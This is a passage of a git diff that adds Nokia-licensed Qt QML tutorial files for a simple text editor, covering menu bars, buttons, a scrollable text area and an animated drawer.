+ color:"transparent"
+ anchors.centerIn: parent
+
+ width: parent.width; height: parent.height / 5
+ Row{
+ anchors.centerIn: parent
+ spacing: parent.width/6
+ Button{
+ id: loadButton
+ buttonColor: "lightgrey"
+ label: "Cut"
+ }
+
+ Button{
+ buttonColor: "grey"
+ id: saveButton
+ label: "Paste"
+ }
+ Button{
+ id: exitButton
+ label: "Select All"
+ buttonColor: "darkgrey"
+ }
+ }
+ }
+
+}
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part4/FileMenu.qml b/examples/tutorials/gettingStarted/gsQml/parts/part4/FileMenu.qml
new file mode 100644
index 00000000..d6647fe8
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part4/FileMenu.qml
@@ -0,0 +1,96 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: fileMenu
+
+ //the menuName is accessible from outside this QML file
+ property string menuName: "File"
+
+ //generous amount of screen space that will allow the buttons to fit
+ height: 480; width:1000
+
+ color: "#6C646A"
+ gradient: Gradient{
+ GradientStop { position: 0.0; color: "#6C646A" }
+ GradientStop { position: 1.0; color: Qt.darker("#6A6D6A") }
+ }
+
+ //a sub-rectangle allows the flexibility of setting the row area
+ Rectangle{
+ id:actionContainer
+
+ //make this rectangle invisible
+ color:"transparent"
+ anchors.centerIn: parent
+
+ //the height is a good proportion that creates more space at the top of the row of buttons
+ width: parent.width; height: parent.height / 5
+
+ Row{
+ anchors.centerIn: parent
+ spacing: parent.width/6
+ Button{
+ id: loadButton
+ buttonColor: "lightgrey"
+ label: "Load"
+ }
+
+ Button{
+ buttonColor: "grey"
+ id: saveButton
+ label: "Save"
+ }
+ Button{
+ id: exitButton
+ label: "Exit"
+ buttonColor: "darkgrey"
+
+ //exit the application if the exitButton is clicked
+ onButtonClick:{
+ Qt.quit()
+ }
+ }
+ }
+ }
+
+}
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part4/MenuBar.qml b/examples/tutorials/gettingStarted/gsQml/parts/part4/MenuBar.qml
new file mode 100644
index 00000000..0dba4397
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part4/MenuBar.qml
@@ -0,0 +1,146 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: menuBar
+ width: 1000
+ height:300
+
+ property color fileColor: "plum"
+ property color editColor: "powderblue"
+
+ //container for the header and the buttons
+ Rectangle{
+
+ id: labelList
+ height:parent.height/10
+ width: parent.width
+ color: "beige"
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: "#8C8F8C" }
+ GradientStop { position: 0.17; color: "#6A6D6A" }
+ GradientStop { position: 0.98;color: "#3F3F3F" }
+ GradientStop { position: 1.0; color: "#0e1B20" }
+ }
+
+ //default z is 0, items with higher z values are shown on top of items with lower z values
+ z: 1
+
+ //row displays its children in a vertical row
+ Row{
+ anchors.centerIn: parent
+ spacing:40
+ Button{
+ height: 20
+ width: 50
+ label: "File"
+ id: fileButton
+ buttonColor : menuListView.currentIndex == 0? fileColor : Qt.darker(fileColor, 1.5)
+ scale: menuListView.currentIndex == 0? 1.25: 1
+ radius: 1
+
+ //on a button click, change the list's currently selected item to FileMenu
+ onButtonClick: {
+ menuListView.currentIndex = 0
+ }
+ }
+ Button{
+ height: 20
+ width: 50
+ id: editButton
+ buttonColor : menuListView.currentIndex == 1? editColor : Qt.darker(editColor, 1.5)
+ scale: menuListView.currentIndex == 1? 1.25: 1
+ label: "Edit"
+ radius: 1
+
+ //on a button click, change the list's currently selected item to EditMenu
+ onButtonClick: {
+ menuListView.currentIndex = 1
+ }
+
+
+ }
+
+
+ }
+ }
+
+ //a list of visual items already have delegates handling their display
+ VisualItemModel{
+ id: menuListModel
+
+ FileMenu{
+ width: menuListView.width
+ height: menuBar.height
+ color: fileColor
+ }
+ EditMenu{
+ color: editColor
+ width: menuListView.width
+ height: menuBar.height
+
+ }
+ }
+
+ //list view will display a model according to a delegate
+ ListView{
+ id: menuListView
+ anchors.fill:parent
+ anchors.bottom: parent.bottom
+ width:parent.width
+ height: parent.height
+
+ //the model contains the data
+ model: menuListModel
+
+ //control the movement of the menu switching
+ snapMode: ListView.SnapOneItem
+ orientation: ListView.Horizontal
+ boundsBehavior: Flickable.StopAtBounds
+ flickDeceleration: 5000
+ highlightFollowsCurrentItem: true
+ highlightMoveDuration:240
+ highlightRangeMode: ListView.StrictlyEnforceRange
+ }
+
+
+}
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part4/SimpleButton.qml b/examples/tutorials/gettingStarted/gsQml/parts/part4/SimpleButton.qml
new file mode 100644
index 00000000..fbdfe6a6
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part4/SimpleButton.qml
@@ -0,0 +1,59 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: simplebutton
+ color: "grey"
+ width: 150; height: 75
+
+ Text{
+ id: buttonLabel
+ anchors.centerIn: parent
+ text: "button label"
+ }
+
+ MouseArea{
+ id: buttonMouseArea
+ anchors.fill: parent
+ onClicked: console.log(buttonLabel.text + " clicked" )
+ }
+}
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part4/TextArea.qml b/examples/tutorials/gettingStarted/gsQml/parts/part4/TextArea.qml
new file mode 100644
index 00000000..ed3eab92
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part4/TextArea.qml
@@ -0,0 +1,80 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id:textArea
+
+ width :400
+ height:400
+ property color fontColor: "white"
+
+ Flickable{
+ id: flickArea
+
+ width: parent.width
+ height: parent.height
+ anchors.fill:parent
+
+ function ensureVisible(r){
+ if (contentX >= r.x)
+ contentX = r.x;
+ else if (contentX+width <= r.x+r.width)
+ contentX = r.x+r.width-width;
+ if (contentY >= r.y)
+ contentY = r.y;
+ else if (contentY+height <= r.y+r.height)
+ contentY = r.y+r.height-height;
+ }
+
+ TextEdit{
+ id: textEditor
+ anchors.fill:parent
+ width:parent.width; height:parent.height
+ color:fontColor
+ focus: true
+
+ wrapMode: TextEdit.Wrap
+
+ onCursorRectangleChanged: flickArea.ensureVisible(cursorRectangle)
+ }
+ }
+}
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part4/TextEditor.qml b/examples/tutorials/gettingStarted/gsQml/parts/part4/TextEditor.qml
new file mode 100644
index 00000000..121cf983
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part4/TextEditor.qml
@@ -0,0 +1,146 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: screen
+ width: 1000; height: 1000
+ property int partition: height/3
+ state: "DRAWER_CLOSED"
+
+
+ //Item 1: MenuBar on the top portion of the screen
+ MenuBar{
+ id:menuBar
+ height: partition
+ //anchors.top:parent.top
+ width:parent.width
+ z:1
+ }
+
+
+ //Item 2: The editable text area
+ TextArea{
+ id:textArea
+ y:drawer.height
+ border.color: Qt.darker(color, 1.4)
+ border.width: 2
+ color: "#3F3F3F"
+ fontColor: "#DCDCCC"
+ height: partition*2
+ width:parent.width
+ }
+
+ //Item 3: The drawer handle
+ Rectangle{
+ id:drawer
+ height:15
+ width: parent.width
+ border.color : "#6A6D6A"
+ border.width: 1
+
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: "#8C8F8C" }
+ GradientStop { position: 0.17; color: "#6A6D6A" }
+ GradientStop { position: 0.77; color: "#3F3F3F" }
+ GradientStop { position: 1.0; color: "#6A6D6A" }
+ }
+
+ Image{
+ id: arrowIcon
+ source: "images/arrow.png"
+ anchors.horizontalCenter: parent.horizontalCenter
+
+ Behavior{NumberAnimation{property: "rotation";easing.type: Easing.OutExpo }}
+ }
+
+ MouseArea{
+ id: drawerMouseArea
+ anchors.fill:parent
+ onClicked:{
+ if (screen.state == "DRAWER_CLOSED"){
+ screen.state = "DRAWER_OPEN"
+ console.log("drawer OPEN")
+ }
+ else if (screen.state == "DRAWER_OPEN"){
+ screen.state = "DRAWER_CLOSED"
+ console.log("drawer closed")
+ }
+ }
+
+ //if true, then onEntered and onExited called if mouse hovers in the mouse area
+ //if false, a button must be clicked to detect the mouse hover
+ hoverEnabled: true
+
+ //display a border if the mouse hovers on the button mouse area
+ onEntered: parent.border.color = Qt.lighter("#6A6D6A")
+ //remove the border if the mouse exits the button mouse area
+ onExited: parent.border.color = "#6A6D6A"
+ }
+
+ }
+ states:[
+ State{
+ name: "DRAWER_OPEN"
+ PropertyChanges { target: menuBar; y:0}
+ PropertyChanges { target: textArea; y: partition + drawer.height}
+ PropertyChanges { target: drawer; y: partition}
+ PropertyChanges { target: arrowIcon; rotation: 180}
+ },
+ State{
+ name: "DRAWER_CLOSED"
+ PropertyChanges { target: menuBar; y:-partition}
+ PropertyChanges { target: textArea; y: drawer.height; height: screen.height - drawer.height}
+ PropertyChanges { target: drawer; y: 0}
+ PropertyChanges { target: arrowIcon; rotation: 0}
+ }
+
+ ]
+ transitions: [
+ Transition{
+ to: "*"
+ NumberAnimation { target: textArea; properties: "y, height"; duration: 100; easing.type:Easing.OutExpo }
+ NumberAnimation { target: menuBar; properties: "y"; duration: 100;easing.type: Easing.OutExpo }
+ NumberAnimation { target: drawer; properties: "y"; duration: 100;easing.type: Easing.OutExpo }
+ }
+
+ ]
+}
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part4/images/arrow.png b/examples/tutorials/gettingStarted/gsQml/parts/part4/images/arrow.png
new file mode 100644
index 00000000..14978c2e
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part4/images/arrow.png
Binary files differ
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part4/pics/qml-texteditor4_texteditor.png b/examples/tutorials/gettingStarted/gsQml/parts/part4/pics/qml-texteditor4_texteditor.png
new file mode 100644
index 00000000..a195fb87
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part4/pics/qml-texteditor4_texteditor.png
Binary files differ
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part4/qml-texteditor4.qmlproject b/examples/tutorials/gettingStarted/gsQml/parts/part4/qml-texteditor4.qmlproject
new file mode 100644
index 00000000..d4909f86
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part4/qml-texteditor4.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "."
+ }
+ JavaScriptFiles {
+ directory: "."
+ }
+ ImageFiles {
+ directory: "."
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part5/TextEditor.qml b/examples/tutorials/gettingStarted/gsQml/parts/part5/TextEditor.qml
new file mode 100644
index 00000000..9a42d815
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part5/TextEditor.qml
@@ -0,0 +1,127 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import "core"
+
+Rectangle {
+ id: screen
+ width: 1000; height: 1000
+ property int partition: height/3
+ state: "DRAWER_CLOSED"
+
+ //Item 1: MenuBar on the top portion of the screen
+ MenuBar{
+ id:menuBar
+ height: screen.partition; width: screen.width
+ z:1
+ }
+ //Item 2: The editable text area
+ TextArea{
+ id:textArea
+ y:drawer.height
+ color: "#3F3F3F"
+ fontColor: "#DCDCCC"
+ height: partition*2; width:parent.width
+ }
+ //Item 3: The drawer handle
+ Rectangle{
+ id:drawer
+ height:15; width: parent.width
+ border.color : "#6A6D6A"
+ border.width: 1
+ z:1
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: "#8C8F8C" }
+ GradientStop { position: 0.17; color: "#6A6D6A" }
+ GradientStop { position: 0.77; color: "#3F3F3F" }
+ GradientStop { position: 1.0; color: "#6A6D6A" }
+ }
+ Image{
+ id: arrowIcon
+ source: "images/arrow.png"
+ anchors.horizontalCenter: parent.horizontalCenter
+
+ Behavior{NumberAnimation{property: "rotation";easing.type: Easing.OutExpo }}
+ }
+
+ MouseArea{
+ id: drawerMouseArea
+ anchors.fill:parent
+ hoverEnabled: true
+ onEntered: parent.border.color = Qt.lighter("#6A6D6A")
+ onExited: parent.border.color = "#6A6D6A"
+ onClicked:{
+ if (screen.state == "DRAWER_CLOSED"){
+ screen.state = "DRAWER_OPEN"
+ }
+ else if (screen.state == "DRAWER_OPEN"){
+ screen.state = "DRAWER_CLOSED"
+ }
+ }
+ }
+ }
+
+ states:[
+ State{
+ name: "DRAWER_OPEN"
+ PropertyChanges { target: menuBar; y: 0}
+ PropertyChanges { target: textArea; y: partition + drawer.height}
+ PropertyChanges { target: drawer; y: partition}
+ PropertyChanges { target: arrowIcon; rotation: 180}
+ },
+ State{
+ name: "DRAWER_CLOSED"
+ PropertyChanges { target: menuBar; y:-height; }
+ PropertyChanges { target: textArea; y: drawer.height; height: screen.height - drawer.height}
+ PropertyChanges { target: drawer; y: 0}
+ PropertyChanges { target: arrowIcon; rotation: 0}
+ }
+ ]
+
+ transitions: [
+ Transition{
+ to: "*"
+ NumberAnimation { target: textArea; properties: "y, height"; duration: 100; easing.type:Easing.OutExpo }
+ NumberAnimation { target: menuBar; properties: "y"; duration: 100;easing.type: Easing.OutExpo }
+ NumberAnimation { target: drawer; properties: "y"; duration: 100;easing.type: Easing.OutExpo }
+ }
+ ]
+}
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part5/core/Button.qml b/examples/tutorials/gettingStarted/gsQml/parts/part5/core/Button.qml
new file mode 100644
index 00000000..e2eead68
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part5/core/Button.qml
@@ -0,0 +1,109 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+
+ //identifier of the item
+ id: button
+
+ //these properties act as constants, useable outside this QML file
+ property int buttonHeight: 75
+ property int buttonWidth: 150
+
+ //attaches to the Text element's text content
+ property string label
+ property color textColor: buttonLabel.color
+
+ //the color highlight when the mouse hovers on the rectangle
+ property color onHoverColor: "lightsteelblue"
+ property color borderColor: "transparent"
+
+ //buttonColor is set to the button's main color
+ property color buttonColor: "lightblue"
+
+ property real labelSize: 14
+ //set appearance properties
+ radius:6
+ smooth: true
+ border.width: 2
+ border.color: borderColor
+ width: buttonWidth; height: buttonHeight
+
+ Text{
+ id: buttonLabel
+ anchors.centerIn: parent
+ text: label //bind the text to the parent's text
+ color: "#DCDCCC"
+ font.pointSize: labelSize
+ }
+
+ //buttonClick() is callable and a signal handler, onButtonClick is automatically created
+ signal buttonClick()
+
+ //define the clickable area to be the whole rectangle
+ MouseArea{
+ id: buttonMouseArea
+ anchors.fill: parent //stretch the area to the parent's dimension
+ onClicked: buttonClick()
+
+ //if true, then onEntered and onExited called if mouse hovers in the mouse area
+ //if false, a button must be clicked to detect the mouse hover
+ hoverEnabled: true
+
+ //display a border if the mouse hovers on the button mouse area
+ onEntered: parent.border.color = onHoverColor
+ //remove the border if the mouse exits the button mouse area
+ onExited: parent.border.color = borderColor
+
+ }
+
+ //change the color of the button when pressed
+ color: buttonMouseArea.pressed ? Qt.darker(buttonColor, 1.5) : buttonColor
+ //animate the color whenever the color property changes
+ Behavior on color { ColorAnimation{ duration: 55} }
+
+ //scale the button when pressed
+ scale: buttonMouseArea.pressed ? 1.1 : 1.00
+ //Animate the scale property change
+ Behavior on scale { NumberAnimation{ duration: 55} }
+
+}
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part5/core/EditMenu.qml b/examples/tutorials/gettingStarted/gsQml/parts/part5/core/EditMenu.qml
new file mode 100644
index 00000000..adff9dba
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part5/core/EditMenu.qml
@@ -0,0 +1,110 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
